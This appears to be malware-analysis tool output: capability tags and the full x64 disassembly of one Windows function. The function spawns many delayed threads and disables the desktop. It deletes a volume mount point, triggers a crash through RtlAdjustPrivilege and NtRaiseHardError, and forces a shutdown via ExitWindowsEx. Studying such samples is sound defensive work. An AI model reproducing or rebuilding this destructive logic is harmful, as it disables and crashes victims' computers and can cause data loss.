Function at 0x1400110aa
Capabilities:
Create thread
Shutdown system
Terminate thread

Disassembly:
jmp 0x140017e60
push rbp
push rdi
sub rsp, 0x268
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x5e
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x140026008]
xor rax, rbp
mov qword [rbp + 0x228], rax
lea rcx, [0x14002c033]
call fcn.14001150f
call fcn.1400112df
xor edx, edx
mov ecx, 0x1388
div ecx
mov eax, edx
add eax, 0xd48
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400110b9]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 0x48], rax
call fcn.1400112df
xor edx, edx
mov ecx, 0x12c0
div ecx
mov eax, edx
add eax, 0xf3c
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011037]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001100f]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.140011492
call fcn.1400112df
xor edx, edx
mov ecx, 0x3a98
div ecx
mov eax, edx
add eax, 0x2af8
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001146a]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011212]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call qword [sym.imp.USER32.dll_GetDesktopWindow]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_EnableWindow]
call fcn.1400112df
xor edx, edx
mov ecx, 0x2ee0
div ecx
mov eax, edx
add eax, 0x2710
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400113a7]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001109b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011280]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011550]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400114dd]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400111e0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001122b]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400114d3]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001139d]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400111a9
call fcn.140011249
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400112df
xor edx, edx
mov ecx, 0x36b0
div ecx
mov eax, edx
add eax, 0x32c8
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400114c9]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400112df
xor edx, edx
mov ecx, 0x2710
div ecx
mov eax, edx
add eax, 0x2328
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011113]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400112df
xor edx, edx
mov ecx, 0x1f40
div ecx
mov eax, edx
add eax, 0x1b58
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001144c]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011537]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011177]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400111a9
call fcn.1400114e2
call fcn.1400112df
xor edx, edx
mov ecx, 0x2710
div ecx
mov eax, edx
add eax, 0x2328
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x14001128a]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400112df
xor edx, edx
mov ecx, 0x1194
div ecx
mov eax, edx
add eax, 0xc80
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400113ac]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400112df
xor edx, edx
mov ecx, 0x5dc0
div ecx
mov eax, edx
add eax, 0x5208
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011073]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011401]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400112df
xor edx, edx
mov ecx, 0xfa0
div ecx
mov eax, edx
add eax, 0xa8c
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400114fb]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400112df
xor edx, edx
mov ecx, 0x1d4c
div ecx
mov eax, edx
add eax, 0x1900
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011181]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011127]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400111c7]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400111a9
call fcn.1400113c5
call fcn.1400112df
xor edx, edx
mov ecx, 0x4e20
div ecx
mov eax, edx
add eax, 0x4650
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400111ea]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x140011505]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
call fcn.1400111a9
call fcn.1400112c6
call fcn.1400112df
xor edx, edx
mov ecx, 0x4268
div ecx
mov eax, edx
add eax, 0x3e80
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x24]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [0x1400114f6]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov qword [rbp + 8], rax
mov rcx, qword [rbp + 8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.1400112df
xor edx, edx
mov ecx, 0xfa0
div ecx
mov eax, edx
add eax, 0xbb8
mov ecx, eax
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140022ec4]
call qword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xa8], rax
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtRaiseHardError
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0xa8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0xc8]
mov qword [rbp + 0x108], rax
lea r9, [rbp + 0x64]
xor r8d, r8d
mov dl, 1
mov ecx, 0x13
call qword [rbp + 0xe8]
lea rax, [rbp + 0x84]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 6
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0xc0000420
call qword [rbp + 0x108]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp + 0x128]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov eax, 0xc
imul rax, rax, 0
lea rax, [rbp + rax + 0x14c]
mov r8, rax
lea rdx, str.SeShutdownPrivilege
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov dword [rbp + 0x148], 1
mov eax, 0xc
imul rax, rax, 0
mov dword [rbp + rax + 0x154], 2
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, [rbp + 0x148]
xor edx, edx
mov rcx, qword [rbp + 0x128]
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov edx, 0x10011
mov ecx, 6
call qword [sym.imp.USER32.dll_ExitWindowsEx]
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp - 0x30]
lea rdx, [0x140022080]
call fcn.140011438
mov rcx, qword [rbp + 0x228]
xor rcx, rbp
call fcn.140011258
lea rsp, [rbp + 0x238]
pop rdi
pop rbp
ret